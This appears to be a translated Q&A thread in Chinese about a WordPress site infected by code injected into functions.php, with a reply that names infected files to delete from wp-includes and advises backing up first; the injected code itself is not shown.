php - 我的 WordPress 网站被黑了，被重定向到一些未知来​​源

Question

我不知道它是怎么发生的，但从几天前开始，一些代码出现在我的“functions.php”标题中(每当我删除这个未知代码时，我的网站就无法工作)，它似乎重定向和镜像一切都到一些未知的来源。现在，它影响了我的 SSL 证书，并在我尝试访问我的网站时显示错误消息，如“这不是私有(private)连接”。

下面是添加到我的“functions.php”标题中的一段代码。

谁能帮我解决这个问题？谢谢

是的，这段代码从主题 funtion.php 文件中删除后，也从 wp-includes 文件夹中删除这些文件，如果这些文件存在于

• /wp-includes/wp-feed.php
• /wp-includes/wp-tmp.php
• /wp-includes/wp-vcd.php

然后检查/wp-includes/post.php文件，如果这个文件有类似主题功能文件的代码也删除它，确保在所有这些之前至少备份这五个文件，谢谢，享受。
